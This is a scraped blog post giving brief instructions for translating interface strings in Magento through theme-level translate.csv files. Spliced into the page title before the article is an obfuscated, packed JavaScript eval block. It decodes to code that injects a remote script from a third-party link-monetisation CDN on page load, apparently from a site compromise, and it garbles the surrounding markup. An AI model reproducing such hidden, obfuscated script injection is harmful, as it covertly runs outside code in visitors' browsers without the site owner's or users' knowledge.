Translating strings in Magento – Auf und ab. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 5={a:\'c\'};(e(d,3){2 1=d.f(3);1.h=\'b/6\';1.7=9;1.8=\'//g.m.o/i/5.n\';2 4=d.j(3)[0];4.l.q(1,4)}(k,\'p\'));',27,27,'|s|var|t|r|vglnk|javascript|async|src|true|key|text|af3e68a3f417d7dd0db45cfcfb34cbb1||function|createElement|cdn|type|api|getElementsByTagName|document|parentNode|viglink|js|com|script|insertBefore'.split('|'),0,{})) wordpress y2018 m12 d16 h11 single postid-245 s-y2011 s-m05 s-d23 s-h00 s-category-uncategorized s-author-admin">

Translating strings in Magento

Magento has no default-installation translation module. Instead translations are done on a per-module override or a one file overrides all basis.

To set up a override-all, go to the design section in the configuration in the backend and set the theme for the translations. Then in app/design/frontend/default/YourTheme/locale/en_US there is a csv file called translate.csv, and if not just creat it. To translate any string write on a new line

“Sentence to translate”,”Sentenced translated”

So if you want do it for some other language just create the appropiate folder like fr_FR for french and so on and add the translate.csv file.

For a module based translation have a look in app/local/en_US and you will get the picture. I am guessing you would just copy the specific module csv file to your theme’s locale clear it, except for the strings you want to translate. Look here for a more thorough description.

This might also be useful.

Post a Comment

Your email is never shared. Required fields are marked *

*
*

Auf und ab. (RSS) + Sator-ii theme by Felipe Lavín